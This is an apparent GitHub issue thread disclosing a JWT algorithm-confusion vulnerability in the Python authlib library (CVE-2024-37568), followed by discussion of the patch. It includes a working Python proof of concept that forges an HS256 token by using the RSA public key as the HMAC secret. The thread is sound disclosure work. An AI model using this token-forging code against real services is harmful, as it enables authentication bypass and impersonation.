lepture / authlib

The ultimate Python library in building OAuth, OpenID Connect clients and servers. JWS,JWE,JWK,JWA,JWT included.
https://authlib.org/
BSD 3-Clause "New" or "Revised" License
4.39k stars 436 forks source link

Algorithm confusion when verifying JSON Web Tokens with asymmetric public keys #654

Closed milliesolem closed 1 month ago

milliesolem commented 1 month ago

Issue description

If the algorithm field is left unspecified when calling jwt.decode, the library will allow HMAC verification with ANY asymmetric public key. The library does no checks whatsoever to mitigate this. This applies to verification with the algorithms HS256, HS384, and HS512 in lieu of the asymmetric algorithm. This issue is also persistent in joserfc. This vulnerability is similar to CVE-2022-29217 and CVE-2024-33663, however severity is higher as this applies to ALL verification with asymmetric public keys, regardless of format.

The Authlib documentation on JWTs starts off with a code snippet demonstrating JWT signing and verfication of claims using RSA. The code snippet shown is vulnerable to this issue. The documetation does halfway down the page go on to describe the danger of not checking the algorithm header, however does not adequately press the importance of not doing so, nor does the library implement adequate protections against this.

Proposed solution

Same solution as for the patch for CVE-2022-29217 and CVE-2024-33663. A thorough, comprehensive check of whether the verifying key is asymmetric, see here. When performing signature verification with HMAC, first check whether the verifying key is not actually a PEM or SSH-encoded asymmetric public key; this is a clear sign of algorithm confusion.

Also make non-usage of the algorithms keyword throw an exception when using the jwt.decode method, or at the very least a warning, so that the developer at least knows they are doing something silly by not using it. Alternatively, depricate the method an instead only allow usage of the JsonWebToken class, with algorithm as a mandatory parameter and disallow usage of multiple algorithms in a single instance.

Proof-of-Concept

Here is a simplified Proof-of-Concept using pycryptodome for key generation that illustrates one way this could be exploited

from authlib.jose import jwt
from Crypto.PublicKey import RSA
from Crypto.Hash import HMAC, SHA256
import base64

# ----- SETUP -----

# generate an asymmetric RSA keypair
# !! signing should only be possible with the private key !!
KEY = RSA.generate(2048)

# PUBLIC KEY, AVAILABLE TO USER
# CAN BE RECOVERED THROUGH E.G. PUBKEY RECOVERY WITH TWO SIGNATURES:
# https://crypto.stackexchange.com/questions/26188/rsa-public-key-recovery-from-signatures
# https://github.com/FlorianPicca/JWT-Key-Recovery
PUBKEY = KEY.public_key().export_key(format='PEM')

# Sanity check
PRIVKEY = KEY.export_key(format='PEM')
token = jwt.encode({"alg": "RS256"}, {"pwned":False}, PRIVKEY)
claims = jwt.decode(token, PUBKEY)
assert not claims["pwned"]

# ---- CLIENT SIDE -----

# without knowing the private key, a valid token can be constructed
# YIKES!!

b64 = lambda x:base64.urlsafe_b64encode(x).replace(b'=',b'')
payload = b64(b'{"alg":"HS256"}') + b'.' + b64(b'{"pwned":true}')
hasher = HMAC.new(PUBKEY, digestmod=SHA256)
hasher.update(payload)
evil_token = payload + b'.' + b64(hasher.digest())
print("đŸ˜ˆ",evil_token)

# ---- SERVER SIDE -----

# verify and decode the token using the public key, as is custom
# algorithm field is left unspecified
# but the library will happily still verify without warning, trusting the user-controlled alg field of the token header
data = jwt.decode(evil_token, PUBKEY)
if data["pwned"]:
    print("VULNERABLE")

Disclaimer

As per the security policy, I contacted both the author and Tidelift about this issue in early April of this year. I received a response from Tidelift that they would follow up the issue, however the issue remains unpatched and I have still not heard further from either. As such, I am opening a public issue on this vulnerability.

lepture commented 1 month ago

Released v1.3.1

milliesolem commented 1 month ago

This vulnerability is now tracked under CVE-2024-37568.

After testing, the patch provided in 1.3.1 seems adequate for any imminent exploitation of the vulnerability. However, for future releases, I would recommend the following:

  1. Also make the algorithms field mandatory when decoding, or at the very least throw a warning when not used. The current patch resisted initial security testing by me, but there may be key formats not accounted for. Solving the root cause of this issue would be preferable.
  2. Improve the error message when doing HMAC verification with a public key to more explicitly say what the problem is. I don't think the message "This key may not be safe to import" is adequately intuitive to help developer understand if their usage of the library is secure or not. A message such as "Asymmetric key formats may not be used with HMAC verification" would be much better.

Closing issue in faith that the above gets addressed in time. @lepture

stigtsp commented 1 month ago

@milliesolem Does this mean that CVE-2024-37568 is not fixed by v1.3.1?

milliesolem commented 1 month ago

@stigtsp It seems fixed, the patch basically introduces a blocklist of public key formats when verifying with HMAC. I was not able to bypass this blocklist. But the patch could be much improved by requiring the developer to specify which algorithm is to be used (see patch for CVE-2022-29217). That way we would know for sure, rather than hoping the blocklist is comprehensive.

lepture commented 1 month ago

@stigtsp @milliesolem it is a little hard to keep the compatibility while improve the security. I've changed the behavior in joserfc, you should not pass a string or bytes as the key now.

https://jose.authlib.org/en/ https://github.com/authlib/joserfc/blob/main/src/joserfc/jwk.py#L81